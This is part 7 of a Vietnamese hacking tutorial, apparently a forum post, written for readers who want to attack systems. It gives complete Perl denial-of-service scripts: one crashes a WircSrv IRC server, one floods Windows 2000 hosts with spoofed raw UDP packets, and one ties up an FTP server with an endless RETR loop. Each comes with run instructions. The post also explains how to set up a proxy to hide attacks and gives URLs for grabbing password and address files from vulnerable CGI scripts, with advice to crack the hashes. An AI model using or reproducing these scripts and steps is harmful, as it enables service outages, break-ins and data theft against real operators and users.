PART 7 Cảm ơn sự ủng hộ của các bạn và đây là phần 7
42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc
Server v5.07 : _ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị
Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự
) cho phép đến Port 6667.
Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên
Port 6667:
Nếu bạn dùng Unix:
[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]
Windows cũng tương tự:
telnet irc.example.com 6667
Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau (
Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó ,
đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker
khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):
CODE
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các
lệnh trong perl
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # Đây là NOP
$number = "65000"; # Đây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh điều khiển server từ xa
$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là
6667
$buf = "$data";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n Lỗi WircSrv Version 5.07s
có thể tấn công bằng DoS \n gửi 2 64k gói tin đến server làm cho nó
crash.\n -s server_ip\n\n");}
Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI
down chương trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ
cần gọi file này ra theo lệnh sau :
C:\>perl < đường dẫn đến file *.pl >
( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ
khó lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm
được dễ dàng thôi )
43 . ) Kỹ thuật tấn công DoS vào máy tính
sử dụng HĐH Win2000 : _ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như
hướng dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl
gọi nó ra :
CODE
#!/usr/bin/perl -w
use Socket;
use Net::RawIP;
use Getopt::Std;
getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##;
print"--- $0 v.$ver b/ Nelson Brito / Independent Security
Consultant --- ";
$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $!
");
($o{'s'}&&$o{'d'})||die
" Use: $0 [IP Options] [UDP Options] ",
"IP Options: ",
" -s* Đia chi nguon đe bat chuoc ",
" -d* Đia chi bi tan cong ",
" -v IP Version (def: $v) ",
" -t IP Type of Service (TOS) (def: $t) ",
" -f IP fragementation offset (def: $f) ",
" -T IP Time to Live (TTL) (def: $T) ",
"UDP Options: ",
" -p cong cua may tinh nan nhan (def: $p) ",
" -l chieu dai cua goi tin (def: $l) ",
" -r cai đat du lieu ngau nhien (def: ".") ",
"Generic: ",
" -n So luong goi tin ta muon gui đi (def: $n) ",
" -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan
nhan bi die he he",
" Bai huong dan cua ANHDENDAY . ";
while($n > 0){
$|=1;print".";$sp=int rand 65535;
$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
$nb=new Net::RawIP({
ip=>
{
version=>$v,
tos=>$t,
ttl=>$T,
frag_off=>$f,
saddr=>$o{'s'},
daddr=>$o{'d'}
},
udp=>
{
source=>$sp,
dest=>$p,
len=>$l,
data=>$D
}
});
$nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish! ";
_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ
là chỉ dùng cho Win2000 nhé .
44 . ) Kỹ thuật tấn công DoS dễ dàng nhất : _ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này ,
nó chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn
.
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn ,
save đoạn mã sau vào file abc.pl :
CODE
#!/usr/bin/perl
use IO::Socket;
sub initiate {
if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host>
<port> <username> <password>\nVi du : perl abc.pl
127.0.0.1 21 anonymous me@\n";}
$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
};
sub connecttoserver {
print("Connect den host: $host\n");
$socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "khong the connect den $host";
print "Connect thanh cong . Loggin vao...\n";
};
sub login {
print "user $user\n";
print $socket "user $user\r\n";
$response = <$socket>;
print "$response\n";
print "pass $pass\n";
print $socket "pass $pass\r\n";
$response = <$socket>;
print "$response\n";
print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de
ngung.\n";
};
sub doit {
for (;; ){
print "retr a:/x\n";
print $socket "retr a:/x\r\n";
$response = <$socket>;
print "$response";
}
}
initiate();
connecttoserver();
login();
doit();
_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn
mã này dùng chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân
. Nó sử dụng vòng lặp không có giới hạn từ hàm $socket "retr a:/x\r\n" .
Khi muốn kết thúc bạn chỉ cần nhấn ctrl+C .
_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài
trên .VD :
perl abc.pl
http://www.xxx.com/ anonymous
me
trong đó User name và Password có thể là bất kỳ .
Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải
không ? Đó chỉ là những cách tấn công DoS thông thường ( nhưng hậu quả
thì chẳng thường thường chút nào ) , còn các kỹ thuật DoS lợi hại khác
như DRDoS thì cho các bạn nghiên cứu thêm vậy . Nó rất nguy hiểm khi sử
dụng lung tung nên để dành phần đó cho các bạn nào thích và thật sự muốn
nghiên cứu về nó . Tôi xin dừng phần DoS tại đây .
45 . ) Tự tạo cho mình một proxy để sài : _Trong các công việc như tấn công DoS hay đột nhập vào trang Web có
trang bị firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự
tạo cho mình một cái proxy made in <yourname> sài cho nó oai . Bây
giờ hãy làm cùng tôi .
_ Trước hết bạn đăng ký một host miễn phí ở trang
free.prohosting.com . Bạn hãy khai báo thông tin về bạn trong các ô nhập
thông tin . Cuối cùng khi đăng ký xong bạn sẽ nhận được Mail từ trang
Web này gửi đến , hãy test nó để lấy pass mặc định mà nó cho bạn .
_ Tiếp theo bạn vào trang
www.xav.com , rồi nhấp vào link install
phía dưới dòng chữ Test - script Package( tui nhớ là có 2 cái tên mang
chữ script này ) . Sau đó bạn nhấn "next" và nhìn ở phía dưới của trang
này có chữ show all verdon , bạn hãy nhấn vào đó .
_ Tiếp tục bạn nhấn James Marshall ==>CGIscript
==>CGIproxy==>Next==>accept==> cho đến khi bạn thấy một cái
bảng có nhiều ô nhập thông tin . Bạn hãy nhập thông tin vào các trang đó
:
+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong
prohosting.com .
+ FTP username : Bạn nhập username mà bạn đã đăng ký trong
prohosting.com .
+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail
cho bạn .
+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi
nhấn finish .
+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn
hãy ghi nhớ nó . Sau này mỗi lần “hành động” thì bạn lại đem ra sài .
46 . ) Kỹ thuật lấy pass thông qua lỗi của
một số Script : a . ) Calendar CGI Script : _ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar
scripts , nó nằm trong thư mục cgi-bin/calendar, file config là file
calendar.cfg chứa administrator username và password để thay đổi chọn
lựa cho scripts khi cần , cái này có thể tìm thấy ở cuối file
calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ việc dùng
John The Ripper hay những công cụ khác để giải mã nó là xong :
_file calendar.cfg thường đặt tại địa chỉ sau :
http://www.xxx.com/cgi-bin/calendar/calendar.cfg sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :
http://www.xxx.com/cgi-bin/calen..._admin.pl?admin _ Vậy là bạn đã có được quyền admin rồi đó .
b . ) WebBBS Script :
_WebAdverts Script là một scripts cho phép webmasters hiển thị
những biểu ngữ luân phiên ( quảng cáo chẳng hạn ) hay thêm vào trong
trang Web , cuối cùng bạn có thể sử dụng kết hợp password và username để
cài đặt banners tạo một banner accounts mới , xoá accounts view
sensitive info, vv.vv
_Địa chỉ passwd của WebAdverts là :
http://www.xxx.com/cgi-bin/advert/adpassword.txt sau khi giải mã bạn logging vào:
http://www.xxx.com/cgi-bin/advert/ads_admin.pl để login như là script administrator .
c . ) WWWBoard Script : _WWWBoard có file password có thể tìm thấy trong pasword.txt ,
chúng ta hãy search nó bằng từ khoá cgi-bin/wwwebboard hoặc
webboard/password.txt .
d . ) Mailmachine Script : _Mailmachine.cgi là một webbased mailinglist , bạn có thể trông
thấy file adressed.txt chứa tất cả danh sách khách đã đăng ký , những
danh sách có thể thấy tại những urls sau:
http://www.xxx.com/cgi-bin/mailman/addresses.txt http://www.xxx.com/cgi-bin/maillist/addresses.txt http://www.xxx.com/cgi-bin/mail/addresses.txt bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các
tên khác . Chúng có thể chứa các thông tin quan trọng cho phép bạn khai
thác .
Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không
nhắc lại nữa ( Nếu ai chưa biết thì vui lòng đọc lạI những phần trước )
.
======================================================
Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân
tích và post lên ở những phần trước tôi đã sơ ý không thêm ký hiệu “#”
vào trước những câu phân tích đó , dẫn đến việc một số bạn thắc mắc là
đoạn code không hoạt động . Tôi thành thật xin lỗi các bạn vì sơ ý của
tôi , các bạn chỉ cần lấy đoạn code đó ra và thêm vào dấu “ # ” ở phía
trước dòng chú thích Tiếng Việt của tôi là được ( Thông thường tôi có sử
dụng dấu “ < == ” để giải thích ở phiá đuôi đoạn code đó . Các bạn
hãy để ý mà fix nhé .
Chúc vui vẻ .
GOOKLUCK!!!!!!!!!!!!
Hết phần 7 .